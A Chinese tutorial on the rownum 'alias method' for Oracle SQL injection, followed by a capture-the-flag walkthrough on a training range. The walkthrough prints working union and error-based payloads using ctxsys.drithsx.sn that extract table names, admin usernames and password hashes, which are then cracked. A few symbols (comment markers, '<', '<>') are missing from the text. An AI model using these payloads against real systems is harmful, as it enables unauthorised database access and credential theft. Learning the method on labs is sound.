本篇文章給大家帶來了關于oracle的相關知識,其中主要介紹了關于別名法在oracle數據庫注入中的用法詳解,包括了oracle查詢信息的基本語句、rownum的特性等等內容,下面就一起來看一下,希望對大家有幫助。
推薦教程:《oracle》
一、Oracle數據庫簡介
Oracle Database,又名Oracle RDBMS,或簡稱Oracle。該數據庫是甲骨文公司的產品,功能強大,操作復雜,使用免費但服務收費,目前在國內一般是大公司用,比如銀行、金融機構、大數據行業的企業等。
Oracle特點總結:
1、Oracle使用查詢語言獲取信息需要跟上表名,這一點和Access類似,沒有表的情況下可以使用dual表,dual是Oracle的虛擬表,用來構成select的語法規則,Oracle保證dual里面永遠只有一條記錄,如果你直接查詢它,它只顯示一個X,列名為DUMMY;
2、Oracle的數據庫類型是強匹配,所以在Oracle進行類似Union查詢數據時必須讓對應位置上的數據類型和表中的列的數據類型是一致的,也可以使用NULL代替某些無法快速猜測出的數據類型位置,這一點和SQLServer類似。3.Oracle和mysql不一樣,分頁中沒有limit,而是使用三層查詢嵌套的方式實現分頁;4、Oracle的單行注釋符號是,多行注釋符號;
5、Oracle 數據庫包含了幾個系統表,這幾個系統表里存儲了系統數據庫的表名和列名,如user_tab_columns,all_tab_columns,all_tables,user_tables 系統表就存儲了用戶的所有的表、列名,其中table_name 表示的是系統里的表名,column_name 里的是系統里存在的列名;
6、Oracle使用拼接字符串(在URL中使用編碼表示),函數也可以實現兩個字符串的拼接;
7、在Oracle中,庫被弱化了,用戶被強化了,主要靠用戶來區分。簡單理解就是,當前的用戶名相當于其他數據庫里的庫名。
二、別名法簡介
(一)Oracle查詢信息的基本語句
select * from all_tables 查詢所有的表
select * from user_tables 查詢當前用戶的所有表
select * from all_tab_columns 查詢所有字段
select * from user_tab_columns 查詢當前用戶的字段
select * from v$version 查當前使用的Oracle版本
(二)rownum的特性
由于在Oracle中不存在limit,所以查詢特定的數據需要用rownum來進行選擇。比如先輸入:
select * from all_tables
看到頁面輸出了相當多的數據,但是大部分都不是我們需要的,那么假設我只想要前4條數據,那么修改語句如下:
select * from all_tables where rownum
那么假設我們只需要第二條數據,那么可以輸入where rownum=2嗎?不可以。這是因為rownum不是某個表的字段名,只是查詢結果的行號,每一次查詢當有結果時,都會默認有第一行、第二行、第三行等等,這個rownum就是行號了,并不屬于某個字段,所以rownum是一個總是以1開始的偽例,rownum>n,當n>1時,條件就無法成立了。對于這種情況,可以采用兩種方法,分別為不等于法和別名法。
在使用查詢語句時,我們經常要求返回表中的前n條記錄或者是中間的幾條記錄,比如在一個大表(假設有1W條數據)要求查詢從第1000到1005條的記錄。面對這種查詢,我們怎么辦呢?每個數據庫都有自己的解決辦法,比如在mysql中采用limit命令來分頁顯示,MSSQL中使用TOP來對結果分頁,而oracle主要使用rownum命令來解決這個問題。我們來看看在oracle中如何輸出指定數據。
(三)不等于法
在在線oracle演練平臺中輸入這樣的命令(這里是查詢當前用戶的所有字段):
select* from user_tab_columns
結果中顯示了當前的所有表和和相應的字段名,假如我只想顯示ADMIN表中的內容,可以輸入:
select* from user_tab_columns where table_name=’ADMIN’
假如我只想顯示第二條數據,該怎么輸入呢?直接加個條件rownum=2顯然是不行的,這里就可以利用不等法來查詢了:
select* from user_tab_columns where table_name=’ADMIN’ and COLUMN_NAME’UNAME
從這里我們也可以看出,不等于法是存在弊端的,只有當數據量非常少時,才可以用這種方法。當數據量非常大時,就需要用到下面介紹的別名法了。
(四)別名法
來看一下這個語句:
select column_name,rownum n from user_tab_columns
這句話執行查詢列名以后,會把查詢結果從上到下從1開始按順序進行編號,但是由于rownum本身不是字段,所以這里起了個別名為n。這樣這個查詢語句的作用就是:查詢列名及每個列名對應的行號,并將行號統一存儲在n這個字段里面。
注意這個時候雖然我們新建了一個字段n用來存儲行號,但是此時如果馬上在后面加上一個條件,比如where n=7是不行的,因為這條語句需要執行完才有n這個字段,所以想要用n這個字段來查詢信息的話,就需要把這個語句作為一個整體,放在其他語句的子查詢里,這樣句子執行完了,有n這個字段了,然后才能被其他句子使用。
現在我們先查詢ADMIN表里面有幾個字段,這么輸入:
select column_name,rownum n from user_tab_columns where table_name=’ADMIN’
這里的查詢結果會得到兩個字段名。其中行號被我們取成了別名n,所以第一個字段是實際的字段名,第二個字段是我們取的別名n。
比如子查詢的結果是:
字段名 | 行號 |
---|---|
aa | 1 |
bb | 2 |
cc | 3 |
dd | 4 |
那么只要輸入:
select * from 子查詢 where n=2,就可以得到bb這個數據,同理,想要哪個數據,只要令n等于相應的數字即可。
因此,只要把這個句子寫成子查詢,外面的查詢語句再對這個子查詢的結果進行查詢,令n=2,就可以得到第二個字段,因此輸入:
select * from (select column_name,rownum n from user_tab_columns where table_name=’ADMIN’)where n=2
成功查詢到第二個字段。
注意:別名法給rownum取名為n時,標準的寫法是用rownum as n ,簡潔一點是直接rownum n,中間用空格隔開即可。
查詢字段的時候可以用別名法,那么查詢表名的時候可以用嗎?答案是肯定的。
舉例:
select table_name,rownum n from user_tables
可見給表起別名和給字段起別名是一樣的,用法實際上也差不多,這里不再贅述。
三、靶場實操
上面講的只是理論基礎,實際操作的時候就沒那么容易了,我們找個靶場來實際操作一下看看。
以封神臺為例,地址在http://o1.lab.aqlab.cn/?id=1
(一)判斷是否SQL注入
進入靶場,看到地址欄有GET傳參,當然是先試一下是否存在SQL輸入了:
在id=1后面輸入:
and 1=1 ,頁面回顯正常
and 1=2 ,頁面回顯異常
把id=1改成id=2-1,頁面回顯正常。
說明必然存在SQL注入。
(二)查詢當前頁面字段數
實戰中,我們并不知道目標網站是什么數據庫,所以何必管那么多,當成MYSQL來搞就好了,所以這里先查詢字段數:
輸入 order by 1 頁面回顯正常;
輸入 order by 5 頁面回顯異常;
輸入 order by 4 頁面回顯正常;
輸入 order by 5 頁面回顯異常。
表明當前頁面字段數為4。
(三)嘗試聯合查詢
在id=1后面輸入:
union all select 1,2,3,4
頁面回顯異常。看來數據庫肯定不是mysql,那么把數字改成null試試:
union all select null,null,null,null from dual
頁面回顯正常。看來目標數據庫對語法要求很嚴格,現在先判斷四個字段分別是什么數據類型,輸入:
union all select 111,null,null,null from dual
頁面回顯正常,說明第一個字段為數字類型。按ctrl+u查看網頁源代碼,搜索111,沒看到明顯的顯錯位。
嘗試讓當前頁面報錯看看有沒有顯錯位:
and 1=2 union all select 111,null,null,null from dual
沒看到明顯的顯錯位。
繼續輸入:
and 1=2 union all select 111,111,null,null from dual
頁面回顯異常,說明第二個字段不是數值類型。
繼續輸入:
and 1=2 union all select 111,'aa',null,null from dual
頁面回顯異常,說明第二個字段不是字符串類型。
實際上Oracle數據庫有很多數據類型,比如數值、字符串、日期、二進制、大文本,里面又有一些細分的類型,一個個去嘗試頗為繁瑣,因此這里先跳過。
第三個字段同理,發現既不是數字也不是字符串,且沒有明顯顯錯位。
繼續查詢第四個字段:
and 1=2 union all select 111,null,null,111111 from dual
發現頁面顯示出了一個新的時間。
看到這樣的時間要想到時間戳這個東西,因為計算機都是從1970年的1月1日的8點開始往后算秒數的。
(四)查詢表名
使用報錯注入函數查詢信息,輸入:
and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))
注意:報錯注入只能返回字符串而不是返回一個表,所以后面要有限定,也就是rownum=1,只取一行數據,另外該函數括號里的1可以換成別的,數值或者字符串都可以。
得到表名為ADMIN
繼續輸入:
and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name<>'ADMIN'))
得到第二個表為NEWS。
接下來查詢其他表就不能繼續用不等于法了,而是要用上面提到的別名法, 構造基本語句,然后通過修改n的值判斷尚未查詢出的表名:
and 1=ctxsys.drithsx.sn(1,(select table_name from (select table_name,rownum n from user_tables )where n =3))
最終確定當前用戶的表分別為:ADMIN、NEWS、MD5
(五)查詢字段名
接下來查詢字段,ADMIN表顯然更可能有我們想要查詢的信息,因此先查詢ADMIN表的內容,輸入:
and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=1))
得到第一個字段名為:UNAME
把n改為2繼續輸入:
and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=2))
得到第二個字段為UPASS
把n改為3,繼續輸入:
and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=3))
得到第三個字段為MD5
把n改為4,繼續輸入:
and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=4))
沒有結果了。可見ADMIN表中的字段為:UNAME、UPASS、MD5
(六)根據字段查詢具體數據
字段和表名都有了,接下來查詢具體的數據,為了方便,還是用別名法來查詢:
and 1=ctxsys.drithsx.sn(1,(select UNAME from (select UNAME,rownum as n from ADMIN) where n=1))
注意報錯函數的特殊性,因此這里不能用*來代替UNAME。
通過改變n的值可以得到UNAME中的全部用戶名為:OCI、NF、QQ123。
用同樣的方法繼續查詢UPASS字段的內容,輸入:
and 1=ctxsys.drithsx.sn(1,(select UPASS from (select UPASS,rownum as n from ADMIN) where n=1))
改變n的值可以得到UPASS字段的三條記錄分別為:
e10adc3949ba59abbe56e057f20f883e
2a61f8bcfe7535eadcfa69eb4406ceb9
654321
在cmd5.com中解密后結果分別為:
123456、未查到、654321
(七)提交flag
把每個md5值都提交到靶場,最終確定flag為:
2a61f8bcfe7535eadcfa69eb4406ceb9
四、小結
滲透測試人員在進行數據庫注入時,總是會遇到查詢指定數據的問題,對于不同的數據庫雖然查詢方法大同小異,但是很多細節如果沒有搞好是很難完成滲透的,這就需要每一位滲透測試人員夯實理論基礎,掌握每一種常用的方法,在面臨實際問題的時候才能游刃有余。
本文重點介紹了Oracle數據庫的特點以及注入時常用的別名法,分享了別名法在靶場中實操的過程,并分享了一個在線執行Oracle命令的平臺希望能夠為各位同行或愛好者解決相關問題提供參考。
推薦教程:《oracle》